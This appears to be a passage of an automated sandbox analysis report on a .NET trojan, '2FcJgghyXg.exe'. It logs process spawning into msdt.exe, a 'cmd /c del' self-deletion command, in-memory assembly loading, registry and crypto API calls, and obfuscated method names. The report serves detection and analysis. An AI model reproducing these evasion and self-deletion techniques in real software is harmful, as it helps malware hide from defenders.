Source: unknown	Process created: C:\Users\user\Desktop\2FcJgghyXg.exe C:\Users\user\Desktop\2FcJgghyXg.exe
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process created: C:\Users\user\Desktop\2FcJgghyXg.exe C:\Users\user\Desktop\2FcJgghyXg.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\msdt.exe C:\Windows\SysWOW64\msdt.exe
Source: C:\Windows\SysWOW64\msdt.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\2FcJgghyXg.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process created: C:\Users\user\Desktop\2FcJgghyXg.exe C:\Users\user\Desktop\2FcJgghyXg.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\msdt.exe C:\Windows\SysWOW64\msdt.exe	Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\2FcJgghyXg.exe"	Jump to behavior

Source: C:\Users\user\Desktop\2FcJgghyXg.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Source: C:\Users\user\Desktop\2FcJgghyXg.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\2FcJgghyXg.exe.log

Source: classification engine

Classification label: mal100.troj.evad.winEXE@173/1@4/6

Source: 1.2.2FcJgghyXg.exe.416d6d0.3.raw.unpack, K2wBRMjdm6agx0EcTv.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 1.2.2FcJgghyXg.exe.416d6d0.3.raw.unpack, K2wBRMjdm6agx0EcTv.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.2FcJgghyXg.exe.41d52f0.2.raw.unpack, qCKfVZDTTLbfMY8TSL.cs	Security API names: _0020.SetAccessControl
Source: 1.2.2FcJgghyXg.exe.41d52f0.2.raw.unpack, qCKfVZDTTLbfMY8TSL.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.2FcJgghyXg.exe.41d52f0.2.raw.unpack, qCKfVZDTTLbfMY8TSL.cs	Security API names: _0020.AddAccessRule
Source: 1.2.2FcJgghyXg.exe.41d52f0.2.raw.unpack, K2wBRMjdm6agx0EcTv.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 1.2.2FcJgghyXg.exe.41d52f0.2.raw.unpack, K2wBRMjdm6agx0EcTv.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.2FcJgghyXg.exe.416d6d0.3.raw.unpack, qCKfVZDTTLbfMY8TSL.cs	Security API names: _0020.SetAccessControl
Source: 1.2.2FcJgghyXg.exe.416d6d0.3.raw.unpack, qCKfVZDTTLbfMY8TSL.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.2FcJgghyXg.exe.416d6d0.3.raw.unpack, qCKfVZDTTLbfMY8TSL.cs	Security API names: _0020.AddAccessRule
Source: 1.2.2FcJgghyXg.exe.8480000.6.raw.unpack, qCKfVZDTTLbfMY8TSL.cs	Security API names: _0020.SetAccessControl
Source: 1.2.2FcJgghyXg.exe.8480000.6.raw.unpack, qCKfVZDTTLbfMY8TSL.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.2FcJgghyXg.exe.8480000.6.raw.unpack, qCKfVZDTTLbfMY8TSL.cs	Security API names: _0020.AddAccessRule
Source: 1.2.2FcJgghyXg.exe.8480000.6.raw.unpack, K2wBRMjdm6agx0EcTv.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 1.2.2FcJgghyXg.exe.8480000.6.raw.unpack, K2wBRMjdm6agx0EcTv.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: 2FcJgghyXg.exe	Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll			Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7764:120:WilError_03

Source: 1.2.2FcJgghyXg.exe.2b81d34.0.raw.unpack, WFD.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 1.2.2FcJgghyXg.exe.2b81d34.0.raw.unpack, WFD.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Users\user\Desktop\2FcJgghyXg.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

.NET source code contains potential unpacker

Source: 2FcJgghyXg.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 2FcJgghyXg.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: 2FcJgghyXg.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: msdt.pdbGCTL source: 2FcJgghyXg.exe, 00000002.00000002.1324284737.0000000003350000.00000040.10000000.00040000.00000000.sdmp, msdt.exe, 00000004.00000002.2497776864.00000000007E0000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: xYQq.pdbSHA256K source: 2FcJgghyXg.exe
Source:	Binary string: wntdll.pdbUGP source: 2FcJgghyXg.exe, 00000002.00000002.1322759812.0000000001770000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, 00000004.00000002.2500706865.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, 00000004.00000002.2500706865.0000000004DBD000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, 00000004.00000003.1328099105.0000000004ADF000.00000004.00000020.00020000.00000000.sdmp, msdt.exe, 00000004.00000003.1322862387.0000000004924000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 2FcJgghyXg.exe, 2FcJgghyXg.exe, 00000002.00000002.1322759812.0000000001770000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, 00000004.00000002.2500706865.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, 00000004.00000002.2500706865.0000000004DBD000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, 00000004.00000003.1328099105.0000000004ADF000.00000004.00000020.00020000.00000000.sdmp, msdt.exe, 00000004.00000003.1322862387.0000000004924000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msdt.pdb source: 2FcJgghyXg.exe, 00000002.00000002.1324284737.0000000003350000.00000040.10000000.00040000.00000000.sdmp, msdt.exe, 00000004.00000002.2497776864.00000000007E0000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: xYQq.pdb source: 2FcJgghyXg.exe

Data Obfuscation

Source: 2FcJgghyXg.exe, flogin.cs	.Net Code: InitializeComponent System.AppDomain.Load(byte[])
Source: 1.2.2FcJgghyXg.exe.416d6d0.3.raw.unpack, qCKfVZDTTLbfMY8TSL.cs	.Net Code: QtR7YmfDPZ System.Reflection.Assembly.Load(byte[])
Source: 1.2.2FcJgghyXg.exe.8480000.6.raw.unpack, qCKfVZDTTLbfMY8TSL.cs	.Net Code: QtR7YmfDPZ System.Reflection.Assembly.Load(byte[])
Source: 1.2.2FcJgghyXg.exe.41d52f0.2.raw.unpack, qCKfVZDTTLbfMY8TSL.cs	.Net Code: QtR7YmfDPZ System.Reflection.Assembly.Load(byte[])

.NET source code contains method to dynamically call methods (often used by packers)

Source: 1.2.2FcJgghyXg.exe.2b81d34.0.raw.unpack, WFD.cs

.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 1_2_0105E9B8 pushfd ; retf	1_2_0105E9B9
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0041E914 push ecx; ret	2_2_0041E91C
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_004169F3 push es; iretd	2_2_00416A37
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_00416A3B push ebp; retf	2_2_00416A3C
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_00416A3E push ebx; retf	2_2_00416A77
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0041D4F2 push eax; ret	2_2_0041D4F8
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_004164F6 push ds; retf	2_2_004164FC
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0041D4FB push eax; ret	2_2_0041D562
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0041D4A5 push eax; ret	2_2_0041D4F8
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0041D55C push eax; ret	2_2_0041D562
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_004176ED push edi; retf	2_2_004176EE
Source: C:\Windows\explorer.exe	Code function: 3_2_0889A9B5 push esp; retn 0000h	3_2_0889AAE7
Source: C:\Windows\explorer.exe	Code function: 3_2_0889AB02 push esp; retn 0000h	3_2_0889AB03
Source: C:\Windows\explorer.exe	Code function: 3_2_0889AB1E push esp; retn 0000h	3_2_0889AB1F
Source: C:\Windows\explorer.exe	Code function: 3_2_0E70CB1E push esp; retn 0000h	3_2_0E70CB1F
Source: C:\Windows\explorer.exe	Code function: 3_2_0E70CB02 push esp; retn 0000h	3_2_0E70CB03
Source: C:\Windows\explorer.exe	Code function: 3_2_0E70C9B5 push esp; retn 0000h	3_2_0E70CAE7

Source: 2FcJgghyXg.exe

Static PE information: 0xA9C135F0 [Thu Apr 1 02:22:40 2060 UTC]

Source: 1.2.2FcJgghyXg.exe.416d6d0.3.raw.unpack, srHQXlz7jnNiCOT24M.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'bhWc8hQNPc', 'ig0c40IXah', 'f40cWtj7Th', 'DcBcMvmsBF', 'zV5c2Fj5qC', 'EH7ccvjiF6', 'Q1dcuCOGVd'
Source: 1.2.2FcJgghyXg.exe.416d6d0.3.raw.unpack, JneaKoxYOwZYUwgJbY.cs	High entropy of concatenated method names: 'u4OMbjVaor', 'J1pMBXKvNU', 'j4G29mnpAh', 'lCc26jRUKW', 'UDmMNmq1Ti', 'yBUMI0wMqk', 'rqKM5C3Jp5', 'xuCMHa4avC', 'QSYMsFhA2y', 'Gt0MVKc5Am'
Source: 1.2.2FcJgghyXg.exe.416d6d0.3.raw.unpack, snN1xF7S4RmgbgcW05.cs	High entropy of concatenated method names: 'nWr6Z2wBRM', 'hm66Dagx0E', 'L6f6Fwjdsx', 'kxY61BmBjN', 'z0L64AeV6l', 'SZN6WDd6KI', 'O2mWrrgYu6uEEdvrJG', 'm1nwloGSeqL0RUba8m', 'o9F66HOKkA', 'gaS6S8YfhW'
Source: 1.2.2FcJgghyXg.exe.416d6d0.3.raw.unpack, myKyekVHN8n3nqSuWK.cs	High entropy of concatenated method names: 'ToString', 'jnbWNlMop9', 'NVoWPQiL3N', 'N9SWmNAaui', 'Lm9WolqIEh', 'M5qWJnIfEl', 'XT9WrXkObY', 'c8fWl26Awg', 'oVCWfvJ85h', 'C1lWQRg35f'
Source: 1.2.2FcJgghyXg.exe.416d6d0.3.raw.unpack, S6lVZNGDd6KIuoI9tW.cs	High entropy of concatenated method names: 'PEqEL3Et1n', 'MlEEakkbt7', 'QlXEdqg1hx', 'fvcEZ4d43E', 'KdCEDAPSir', 'aPOdhjP0mJ', 'bqCdxtybLI', 'ItqdyxqhDm', 'CrDdb50sdp', 'QGydpNse3d'
Source: 1.2.2FcJgghyXg.exe.416d6d0.3.raw.unpack, JPpxSbptHsfMShtm7I.cs	High entropy of concatenated method names: 'F8Y2Gvd2B6', 'zQe2P7QBJB', 'cVd2mrx8Hp', 'zb82okjWP3', 'b5W2HaWllR', 'qvO2J2VKtj', 'Next', 'Next', 'Next', 'NextBytes'
Source: 1.2.2FcJgghyXg.exe.416d6d0.3.raw.unpack, DOTAclT6fwjdsxDxYB.cs	High entropy of concatenated method names: 'CfQgRK1rGf', 'vWhgwcY9hS', 'oK0gjFTEhr', 'YkQgTKboc5', 'eljg4OsR1Q', 'myUgWQCOMe', 'T5dgMiVORV', 'rmSg2owPZr', 'cY0gcQ7Q0I', 'kmFgu9plgm'
Source: 1.2.2FcJgghyXg.exe.416d6d0.3.raw.unpack, lVaG3Sl3dvGlBTGm5Q.cs	High entropy of concatenated method names: 'BOCZAAZ3dO', 'jwtZgmwfua', 'c0OZEyUPBF', 'vjsEByUp24', 'F2aEzbtmHO', 'WpKZ9qUaql', 'KRAZ6H1980', 'gCoZq8VGbJ', 'LI0ZSbK9yb', 'eTtZ74NG2o'
Source: 1.2.2FcJgghyXg.exe.416d6d0.3.raw.unpack, OR1PhfbJmeXRkgxLeU.cs	High entropy of concatenated method names: 'w472A0jqI5', 'vAZ2aZP5Lh', 'n7q2gi284x', 'bq92dE01kg', 'o6V2Eqgrwe', 'QgV2ZdlacF', 'ur52DuwRUJ', 'ioV2C8mAhn', 'zNE2FmYnC8', 'zFp21TxKbr'
Source: 1.2.2FcJgghyXg.exe.416d6d0.3.raw.unpack, yoyd7cHYYLaJbiic6L.cs	High entropy of concatenated method names: 'lWp4OCeOLx', 'SJx4IEbsll', 'wGM4HK9BD8', 'JY04syioUd', 'tRv4PKkQYh', 'brY4m541h6', 'Xu14oH6rke', 'jCt4JbsQuT', 'xHn4rX75cx', 'tZM4l5aclk'
Source: 1.2.2FcJgghyXg.exe.416d6d0.3.raw.unpack, FAwW796SXsNRBegtEvs.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'mvIuHktqQG', 'ubKus5gh1t', 'XhOuVyLHlT', 'WCXu0RYC6Q', 'iyBuh5vNXb', 'TgwuxFlqpW', 'lK7uyuugO4'
Source: 1.2.2FcJgghyXg.exe.416d6d0.3.raw.unpack, Q6n3y0QYd7oU3LmetC.cs	High entropy of concatenated method names: 'dUSZtlo0Uy', 'VQBZeULg2j', 'nGnZYG4M51', 'dNjZRmmIh7', 'I8AZixR4Fk', 'S5hZw5Tynv', 'pMuZUOwEbj', 'GjxZj5sjdT', 'c41ZTDYIrt', 'txgZkW5NB9'
Source: 1.2.2FcJgghyXg.exe.416d6d0.3.raw.unpack, qCKfVZDTTLbfMY8TSL.cs	High entropy of concatenated method names: 'E3NSLUBZZq', 'bYTSAM5Fsi', 'xfDSaD9UWq', 'i00SgchJBh', 'DgCSdkvHyh', 'POUSENtJfV', 'tgeSZXvraH', 'orSSDx04dF', 'gtaSCxdGlL', 'kAZSFskPts'
Source: 1.2.2FcJgghyXg.exe.416d6d0.3.raw.unpack, aeih4850tCygqgvN25.cs	High entropy of concatenated method names: 'GH38jjxGsP', 'Iuy8TbhtZp', 'Aph8Ge7fDh', 'Q2q8PUGGFa', 'JwY8o7r2uc', 'jsh8J9fTUZ', 'ogW8lNtVw9', 'u4A8fSjkdL', 'FDQ8OhR4Y1', 'BuI8NKKi6y'
Source: 1.2.2FcJgghyXg.exe.416d6d0.3.raw.unpack, G7ZMqUarOIYkDdbkRW.cs	High entropy of concatenated method names: 'Dispose', 'yRp6pjWoZu', 'cTFqP2B6sh', 'gHSttBZ1hj', 'gNR6B1PhfJ', 'IeX6zRkgxL', 'ProcessDialogKey', 'yUJq9PpxSb', 'xHsq6fMSht', 'H7Iqq8RPRN'
Source: 1.2.2FcJgghyXg.exe.416d6d0.3.raw.unpack, Iu4ZYc69hOfmwAxsFlO.cs	High entropy of concatenated method names: 'oowctZ0Zme', 'kYMceA13dG', 'iUqcYp9iPH', 'MJUcRt2LGR', 'h9ycief1Hi', 'DOIcwi0Jmb', 'PYZcUaPcT7', 'lBEcjp1ulk', 'vyfcToylkN', 'HelckP2fG2'
Source: 1.2.2FcJgghyXg.exe.416d6d0.3.raw.unpack, qFJdNBqjj4uODIWIhK.cs	High entropy of concatenated method names: 'ypwYXU9hB', 'tltRemsu9', 'A31wk6CLq', 'A9HUrDerc', 'yLST0DSKo', 'qVLk70ob7', 'hmwAOixhJRWvidKuMd', 'bE4AGxFKj6rgvMfIYZ', 'ekl2usjMu', 'SAsupHHAj'
Source: 1.2.2FcJgghyXg.exe.416d6d0.3.raw.unpack, K2wBRMjdm6agx0EcTv.cs	High entropy of concatenated method names: 'y2WaHFmxsT', 'kHnasieWZq', 'OaUaVY4RYL', 'H5ga0t6T4K', 'VJ3ahU8tXc', 'eDRaxQTXli', 'tuDayjuYJf', 'UScabNrYPg', 'jLtapQJobC', 'GrBaBGssEF'
Source: 1.2.2FcJgghyXg.exe.416d6d0.3.raw.unpack, nRPRNWBauvUXMaKqsE.cs	High entropy of concatenated method names: 'Vlpc6TD2SK', 'Th0cSjJZmn', 'y0Cc7DPYva', 'dg3cAEfdVT', 'fexcaQfrNR', 'QsOcdvbI2v', 'ia0cEM8y1O', 'w002yFsrty', 'JJr2bn3113', 'gDw2pbrqxA'
Source: 1.2.2FcJgghyXg.exe.8480000.6.raw.unpack, srHQXlz7jnNiCOT24M.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'bhWc8hQNPc', 'ig0c40IXah', 'f40cWtj7Th', 'DcBcMvmsBF', 'zV5c2Fj5qC', 'EH7ccvjiF6', 'Q1dcuCOGVd'
Source: 1.2.2FcJgghyXg.exe.8480000.6.raw.unpack, JneaKoxYOwZYUwgJbY.cs	High entropy of concatenated method names: 'u4OMbjVaor', 'J1pMBXKvNU', 'j4G29mnpAh', 'lCc26jRUKW', 'UDmMNmq1Ti', 'yBUMI0wMqk', 'rqKM5C3Jp5', 'xuCMHa4avC', 'QSYMsFhA2y', 'Gt0MVKc5Am'
Source: 1.2.2FcJgghyXg.exe.8480000.6.raw.unpack, snN1xF7S4RmgbgcW05.cs	High entropy of concatenated method names: 'nWr6Z2wBRM', 'hm66Dagx0E', 'L6f6Fwjdsx', 'kxY61BmBjN', 'z0L64AeV6l', 'SZN6WDd6KI', 'O2mWrrgYu6uEEdvrJG', 'm1nwloGSeqL0RUba8m', 'o9F66HOKkA', 'gaS6S8YfhW'
Source: 1.2.2FcJgghyXg.exe.8480000.6.raw.unpack, myKyekVHN8n3nqSuWK.cs	High entropy of concatenated method names: 'ToString', 'jnbWNlMop9', 'NVoWPQiL3N', 'N9SWmNAaui', 'Lm9WolqIEh', 'M5qWJnIfEl', 'XT9WrXkObY', 'c8fWl26Awg', 'oVCWfvJ85h', 'C1lWQRg35f'
Source: 1.2.2FcJgghyXg.exe.8480000.6.raw.unpack, S6lVZNGDd6KIuoI9tW.cs	High entropy of concatenated method names: 'PEqEL3Et1n', 'MlEEakkbt7', 'QlXEdqg1hx', 'fvcEZ4d43E', 'KdCEDAPSir', 'aPOdhjP0mJ', 'bqCdxtybLI', 'ItqdyxqhDm', 'CrDdb50sdp', 'QGydpNse3d'
Source: 1.2.2FcJgghyXg.exe.8480000.6.raw.unpack, JPpxSbptHsfMShtm7I.cs	High entropy of concatenated method names: 'F8Y2Gvd2B6', 'zQe2P7QBJB', 'cVd2mrx8Hp', 'zb82okjWP3', 'b5W2HaWllR', 'qvO2J2VKtj', 'Next', 'Next', 'Next', 'NextBytes'
Source: 1.2.2FcJgghyXg.exe.8480000.6.raw.unpack, DOTAclT6fwjdsxDxYB.cs	High entropy of concatenated method names: 'CfQgRK1rGf', 'vWhgwcY9hS', 'oK0gjFTEhr', 'YkQgTKboc5', 'eljg4OsR1Q', 'myUgWQCOMe', 'T5dgMiVORV', 'rmSg2owPZr', 'cY0gcQ7Q0I', 'kmFgu9plgm'
Source: 1.2.2FcJgghyXg.exe.8480000.6.raw.unpack, lVaG3Sl3dvGlBTGm5Q.cs	High entropy of concatenated method names: 'BOCZAAZ3dO', 'jwtZgmwfua', 'c0OZEyUPBF', 'vjsEByUp24', 'F2aEzbtmHO', 'WpKZ9qUaql', 'KRAZ6H1980', 'gCoZq8VGbJ', 'LI0ZSbK9yb', 'eTtZ74NG2o'
Source: 1.2.2FcJgghyXg.exe.8480000.6.raw.unpack, OR1PhfbJmeXRkgxLeU.cs	High entropy of concatenated method names: 'w472A0jqI5', 'vAZ2aZP5Lh', 'n7q2gi284x', 'bq92dE01kg', 'o6V2Eqgrwe', 'QgV2ZdlacF', 'ur52DuwRUJ', 'ioV2C8mAhn', 'zNE2FmYnC8', 'zFp21TxKbr'
Source: 1.2.2FcJgghyXg.exe.8480000.6.raw.unpack, yoyd7cHYYLaJbiic6L.cs	High entropy of concatenated method names: 'lWp4OCeOLx', 'SJx4IEbsll', 'wGM4HK9BD8', 'JY04syioUd', 'tRv4PKkQYh', 'brY4m541h6', 'Xu14oH6rke', 'jCt4JbsQuT', 'xHn4rX75cx', 'tZM4l5aclk'
Source: 1.2.2FcJgghyXg.exe.8480000.6.raw.unpack, FAwW796SXsNRBegtEvs.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'mvIuHktqQG', 'ubKus5gh1t', 'XhOuVyLHlT', 'WCXu0RYC6Q', 'iyBuh5vNXb', 'TgwuxFlqpW', 'lK7uyuugO4'
Source: 1.2.2FcJgghyXg.exe.8480000.6.raw.unpack, Q6n3y0QYd7oU3LmetC.cs	High entropy of concatenated method names: 'dUSZtlo0Uy', 'VQBZeULg2j', 'nGnZYG4M51', 'dNjZRmmIh7', 'I8AZixR4Fk', 'S5hZw5Tynv', 'pMuZUOwEbj', 'GjxZj5sjdT', 'c41ZTDYIrt', 'txgZkW5NB9'
Source: 1.2.2FcJgghyXg.exe.8480000.6.raw.unpack, qCKfVZDTTLbfMY8TSL.cs	High entropy of concatenated method names: 'E3NSLUBZZq', 'bYTSAM5Fsi', 'xfDSaD9UWq', 'i00SgchJBh', 'DgCSdkvHyh', 'POUSENtJfV', 'tgeSZXvraH', 'orSSDx04dF', 'gtaSCxdGlL', 'kAZSFskPts'
Source: 1.2.2FcJgghyXg.exe.8480000.6.raw.unpack, aeih4850tCygqgvN25.cs	High entropy of concatenated method names: 'GH38jjxGsP', 'Iuy8TbhtZp', 'Aph8Ge7fDh', 'Q2q8PUGGFa', 'JwY8o7r2uc', 'jsh8J9fTUZ', 'ogW8lNtVw9', 'u4A8fSjkdL', 'FDQ8OhR4Y1', 'BuI8NKKi6y'
Source: 1.2.2FcJgghyXg.exe.8480000.6.raw.unpack, G7ZMqUarOIYkDdbkRW.cs	High entropy of concatenated method names: 'Dispose', 'yRp6pjWoZu', 'cTFqP2B6sh', 'gHSttBZ1hj', 'gNR6B1PhfJ', 'IeX6zRkgxL', 'ProcessDialogKey', 'yUJq9PpxSb', 'xHsq6fMSht', 'H7Iqq8RPRN'
Source: 1.2.2FcJgghyXg.exe.8480000.6.raw.unpack, Iu4ZYc69hOfmwAxsFlO.cs	High entropy of concatenated method names: 'oowctZ0Zme', 'kYMceA13dG', 'iUqcYp9iPH', 'MJUcRt2LGR', 'h9ycief1Hi', 'DOIcwi0Jmb', 'PYZcUaPcT7', 'lBEcjp1ulk', 'vyfcToylkN', 'HelckP2fG2'
Source: 1.2.2FcJgghyXg.exe.8480000.6.raw.unpack, qFJdNBqjj4uODIWIhK.cs	High entropy of concatenated method names: 'ypwYXU9hB', 'tltRemsu9', 'A31wk6CLq', 'A9HUrDerc', 'yLST0DSKo', 'qVLk70ob7', 'hmwAOixhJRWvidKuMd', 'bE4AGxFKj6rgvMfIYZ', 'ekl2usjMu', 'SAsupHHAj'
Source: 1.2.2FcJgghyXg.exe.8480000.6.raw.unpack, K2wBRMjdm6agx0EcTv.cs	High entropy of concatenated method names: 'y2WaHFmxsT', 'kHnasieWZq', 'OaUaVY4RYL', 'H5ga0t6T4K', 'VJ3ahU8tXc', 'eDRaxQTXli', 'tuDayjuYJf', 'UScabNrYPg', 'jLtapQJobC', 'GrBaBGssEF'
Source: 1.2.2FcJgghyXg.exe.8480000.6.raw.unpack, nRPRNWBauvUXMaKqsE.cs	High entropy of concatenated method names: 'Vlpc6TD2SK', 'Th0cSjJZmn', 'y0Cc7DPYva', 'dg3cAEfdVT', 'fexcaQfrNR', 'QsOcdvbI2v', 'ia0cEM8y1O', 'w002yFsrty', 'JJr2bn3113', 'gDw2pbrqxA'
Source: 1.2.2FcJgghyXg.exe.41d52f0.2.raw.unpack, srHQXlz7jnNiCOT24M.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'bhWc8hQNPc', 'ig0c40IXah', 'f40cWtj7Th', 'DcBcMvmsBF', 'zV5c2Fj5qC', 'EH7ccvjiF6', 'Q1dcuCOGVd'
Source: 1.2.2FcJgghyXg.exe.41d52f0.2.raw.unpack, JneaKoxYOwZYUwgJbY.cs	High entropy of concatenated method names: 'u4OMbjVaor', 'J1pMBXKvNU', 'j4G29mnpAh', 'lCc26jRUKW', 'UDmMNmq1Ti', 'yBUMI0wMqk', 'rqKM5C3Jp5', 'xuCMHa4avC', 'QSYMsFhA2y', 'Gt0MVKc5Am'
Source: 1.2.2FcJgghyXg.exe.41d52f0.2.raw.unpack, snN1xF7S4RmgbgcW05.cs	High entropy of concatenated method names: 'nWr6Z2wBRM', 'hm66Dagx0E', 'L6f6Fwjdsx', 'kxY61BmBjN', 'z0L64AeV6l', 'SZN6WDd6KI', 'O2mWrrgYu6uEEdvrJG', 'm1nwloGSeqL0RUba8m', 'o9F66HOKkA', 'gaS6S8YfhW'
Source: 1.2.2FcJgghyXg.exe.41d52f0.2.raw.unpack, myKyekVHN8n3nqSuWK.cs	High entropy of concatenated method names: 'ToString', 'jnbWNlMop9', 'NVoWPQiL3N', 'N9SWmNAaui', 'Lm9WolqIEh', 'M5qWJnIfEl', 'XT9WrXkObY', 'c8fWl26Awg', 'oVCWfvJ85h', 'C1lWQRg35f'
Source: 1.2.2FcJgghyXg.exe.41d52f0.2.raw.unpack, S6lVZNGDd6KIuoI9tW.cs	High entropy of concatenated method names: 'PEqEL3Et1n', 'MlEEakkbt7', 'QlXEdqg1hx', 'fvcEZ4d43E', 'KdCEDAPSir', 'aPOdhjP0mJ', 'bqCdxtybLI', 'ItqdyxqhDm', 'CrDdb50sdp', 'QGydpNse3d'
Source: 1.2.2FcJgghyXg.exe.41d52f0.2.raw.unpack, JPpxSbptHsfMShtm7I.cs	High entropy of concatenated method names: 'F8Y2Gvd2B6', 'zQe2P7QBJB', 'cVd2mrx8Hp', 'zb82okjWP3', 'b5W2HaWllR', 'qvO2J2VKtj', 'Next', 'Next', 'Next', 'NextBytes'
Source: 1.2.2FcJgghyXg.exe.41d52f0.2.raw.unpack, DOTAclT6fwjdsxDxYB.cs	High entropy of concatenated method names: 'CfQgRK1rGf', 'vWhgwcY9hS', 'oK0gjFTEhr', 'YkQgTKboc5', 'eljg4OsR1Q', 'myUgWQCOMe', 'T5dgMiVORV', 'rmSg2owPZr', 'cY0gcQ7Q0I', 'kmFgu9plgm'
Source: 1.2.2FcJgghyXg.exe.41d52f0.2.raw.unpack, lVaG3Sl3dvGlBTGm5Q.cs	High entropy of concatenated method names: 'BOCZAAZ3dO', 'jwtZgmwfua', 'c0OZEyUPBF', 'vjsEByUp24', 'F2aEzbtmHO', 'WpKZ9qUaql', 'KRAZ6H1980', 'gCoZq8VGbJ', 'LI0ZSbK9yb', 'eTtZ74NG2o'
Source: 1.2.2FcJgghyXg.exe.41d52f0.2.raw.unpack, OR1PhfbJmeXRkgxLeU.cs	High entropy of concatenated method names: 'w472A0jqI5', 'vAZ2aZP5Lh', 'n7q2gi284x', 'bq92dE01kg', 'o6V2Eqgrwe', 'QgV2ZdlacF', 'ur52DuwRUJ', 'ioV2C8mAhn', 'zNE2FmYnC8', 'zFp21TxKbr'
Source: 1.2.2FcJgghyXg.exe.41d52f0.2.raw.unpack, yoyd7cHYYLaJbiic6L.cs	High entropy of concatenated method names: 'lWp4OCeOLx', 'SJx4IEbsll', 'wGM4HK9BD8', 'JY04syioUd', 'tRv4PKkQYh', 'brY4m541h6', 'Xu14oH6rke', 'jCt4JbsQuT', 'xHn4rX75cx', 'tZM4l5aclk'
Source: 1.2.2FcJgghyXg.exe.41d52f0.2.raw.unpack, FAwW796SXsNRBegtEvs.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'mvIuHktqQG', 'ubKus5gh1t', 'XhOuVyLHlT', 'WCXu0RYC6Q', 'iyBuh5vNXb', 'TgwuxFlqpW', 'lK7uyuugO4'
Source: 1.2.2FcJgghyXg.exe.41d52f0.2.raw.unpack, Q6n3y0QYd7oU3LmetC.cs	High entropy of concatenated method names: 'dUSZtlo0Uy', 'VQBZeULg2j', 'nGnZYG4M51', 'dNjZRmmIh7', 'I8AZixR4Fk', 'S5hZw5Tynv', 'pMuZUOwEbj', 'GjxZj5sjdT', 'c41ZTDYIrt', 'txgZkW5NB9'
